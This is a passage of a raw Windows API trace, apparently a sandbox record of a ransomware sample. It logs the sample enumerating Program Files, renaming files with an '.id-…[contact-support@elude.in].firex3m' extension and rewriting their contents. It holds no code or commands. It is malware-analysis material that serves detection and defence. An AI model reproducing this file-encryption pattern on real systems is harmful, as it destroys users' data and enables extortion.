shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.616] Sleep (dwMilliseconds=0x1) [0113.632] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml", len=0x51 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 1 [0113.632] GetProcessHeap () returned 0x630000 [0113.632] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b01f8, Size=0x14) returned 0x6b0218 [0113.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.632] Sleep (dwMilliseconds=0x1) [0113.651] Sleep (dwMilliseconds=0x1) [0113.661] Sleep (dwMilliseconds=0x1) [0113.682] Sleep (dwMilliseconds=0x1) [0113.692] Sleep (dwMilliseconds=0x1) [0114.306] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat", len=0x3f | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 1 [0114.306] GetProcessHeap () returned 0x630000 [0114.306] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4e40, Size=0x34) returned 0x6d51c0 [0114.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.307] Sleep (dwMilliseconds=0x1) [0114.881] Sleep (dwMilliseconds=0x1) [0115.142] Sleep (dwMilliseconds=0x1) [0115.440] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg", len=0x48 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 1 [0115.440] GetProcessHeap () returned 0x630000 [0115.440] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6150, Size=0x2c) returned 0x6ed6038 [0115.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.441] Sleep (dwMilliseconds=0x1) [0115.452] Sleep (dwMilliseconds=0x1) [0115.497] Sleep (dwMilliseconds=0x1) [0115.522] Sleep (dwMilliseconds=0x1) [0115.536] Sleep (dwMilliseconds=0x1) [0115.575] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb", len=0x36 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 1 [0115.575] GetProcessHeap () returned 0x630000 [0115.575] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5340, Size=0x30) returned 0x6ed6038 [0115.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.578] Sleep (dwMilliseconds=0x1) [0115.639] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb", len=0x34 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 1 [0115.639] GetProcessHeap () returned 0x630000 [0115.639] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0318, Size=0x14) returned 0x6b0398 [0115.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.642] Sleep (dwMilliseconds=0x1) [0115.653] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\Services\\verisign.bmp", len=0x33 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 1 [0115.653] GetProcessHeap () returned 0x630000 [0115.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b12b0 | out: hHeap=0x630000) returned 1 [0115.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.655] Sleep (dwMilliseconds=0x1) [0115.668] Sleep (dwMilliseconds=0x1) [0115.685] Sleep (dwMilliseconds=0x1) [0115.700] Sleep (dwMilliseconds=0x1) [0115.716] Sleep (dwMilliseconds=0x1) [0115.733] Sleep (dwMilliseconds=0x1) [0115.747] Sleep (dwMilliseconds=0x1) [0115.762] Sleep (dwMilliseconds=0x1) [0115.778] Sleep (dwMilliseconds=0x1) [0115.793] Sleep (dwMilliseconds=0x1) [0115.810] Sleep (dwMilliseconds=0x1) [0115.825] Sleep (dwMilliseconds=0x1) [0115.889] Sleep (dwMilliseconds=0x1) [0115.903] Sleep (dwMilliseconds=0x1) [0115.919] Sleep (dwMilliseconds=0x1) [0115.934] Sleep (dwMilliseconds=0x1) [0115.950] Sleep (dwMilliseconds=0x1) [0115.978] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc", len=0x35 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 1 [0115.978] GetProcessHeap () returned 0x630000 [0115.978] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b01f8, Size=0x10) returned 0x6b1340 [0115.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.979] Sleep (dwMilliseconds=0x1) [0115.995] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui", len=0x41 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 1 [0115.995] GetProcessHeap () returned 0x630000 [0115.995] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1250, Size=0xc) returned 0x6b1418 [0115.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.996] Sleep (dwMilliseconds=0x1) [0116.344] Sleep (dwMilliseconds=0x1) [0116.368] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc", len=0x38 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 1 [0116.368] GetProcessHeap () returned 0x630000 [0116.368] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b13b8, Size=0xc) returned 0x6b1388 [0116.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0116.374] Sleep (dwMilliseconds=0x1) [0116.405] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", len=0x33 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 1 [0116.405] GetProcessHeap () returned 0x630000 [0116.405] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b13b8, Size=0xc) returned 0x6b1208 [0116.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0116.409] CloseHandle (hObject=0x4dc) returned 1 [0116.409] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.409] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0116.410] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0116.410] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVA-R~1.FIR")) returned 0x6d4e00 [0116.410] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0116.410] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0116.410] GetProcessHeap () returned 0x630000 [0116.410] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3e61) returned 0x6ecb478 [0116.410] GetProcessHeap () returned 0x630000 [0116.410] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3e61) returned 0x6ecf2e8 [0116.410] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.410] ReadFile (in: hFile=0x4dc, lpBuffer=0x6ecb478, nNumberOfBytesToRead=0x3e40, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb478*, lpNumberOfBytesRead=0x5d7ff0c*=0x3e40, lpOverlapped=0x0) returned 1 [0117.903] GetProcessHeap () returned 0x630000 [0117.903] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0117.903] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.903] WriteFile (in: hFile=0x4dc, lpBuffer=0x6ecf2e8*, nNumberOfBytesToWrite=0x3e40, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecf2e8*, lpNumberOfBytesWritten=0x5d7ff0c*=0x3e40, lpOverlapped=0x0) returned 1 [0117.904] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.904] WriteFile (in: hFile=0x4dc, lpBuffer=0x6ed3127*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed3127*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0117.904] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.905] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0117.906] CloseHandle (hObject=0x4dc) returned 1 [0117.907] GetProcessHeap () returned 0x630000 [0117.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecf2e8 | out: hHeap=0x630000) returned 1 [0117.907] GetProcessHeap () returned 0x630000 [0117.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecb478 | out: hHeap=0x630000) returned 1 [0117.907] GetProcessHeap () returned 0x630000 [0117.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0117.907] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc3aa612, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3e64, dwReserved0=0xaf87496, dwReserved1=0x6ecb470, cFileName="java-rmi.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVA-R~1.FIR")) returned 0x6d4f80 [0117.908] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0117.908] Sleep (dwMilliseconds=0x1) [0123.298] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 1 [0123.298] GetProcessHeap () returned 0x630000 [0123.298] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x19c) returned 0x66a3e0 [0123.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0123.303] CloseHandle (hObject=0x67c) returned 1 [0123.304] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.304] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.323] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APF12E~1.FIR")) returned 0x6d5200 [0123.323] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0123.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0123.323] GetProcessHeap () returned 0x630000 [0123.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6672f8 [0123.323] GetProcessHeap () returned 0x630000 [0123.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x71bc3d0 [0123.324] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.324] ReadFile (in: hFile=0x67c, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x5d7ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.369] GetProcessHeap () returned 0x630000 [0123.369] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0123.369] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.370] WriteFile (in: hFile=0x67c, lpBuffer=0x71bc3d0*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71bc3d0*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.370] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.370] WriteFile (in: hFile=0x67c, lpBuffer=0x71bc8af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71bc8af*, lpNumberOfBytesWritten=0x5d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.370] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.370] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.370] CloseHandle (hObject=0x67c) returned 1 [0123.371] GetProcessHeap () returned 0x630000 [0123.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71bc3d0 | out: hHeap=0x630000) returned 1 [0123.371] GetProcessHeap () returned 0x630000 [0123.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0123.371] GetProcessHeap () returned 0x630000 [0123.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0127.421] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0127.422] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fcc4 | out: lpFindFileData=0x5d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf7baeb4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0xaf87496, dwReserved1=0x6672f0, cFileName="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APF12E~1.FIR")) returned 0x6d5540 [0128.440] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0128.442] Sleep (dwMilliseconds=0x1) [0128.493] SysReAllocStringLen (in: pbstr=0x5d7ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", len=0x2e | out: pbstr=0x5d7ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 1 [0128.493] GetProcessHeap () returned 0x630000 [0128.493] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xe8) returned 0x66a3e0 [0128.493] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0129.509] CloseHandle (hObject=0x698) returned 1 [0129.509] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0129.553] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0129.554] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5d7fc6c | out: lpFindFileData=0x5d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="jce.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JCEJAR~1.FIR")) returned 0x6d5540 [0129.555] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0129.555] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0129.555] GetProcessHeap () returned 0x630000 [0129.555] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f90ba8 [0129.556] GetProcessHeap () returned 0x630000 [0129.556] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f9bfd8 [0129.556] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.556] ReadFile (in: hFile=0x698, lpBuffer=0x6f90ba8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f90ba8*, lpNumberOfBytesRead=0x5d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.237] GetProcessHeap () returned 0x630000 [0136.237] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0136.237] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, 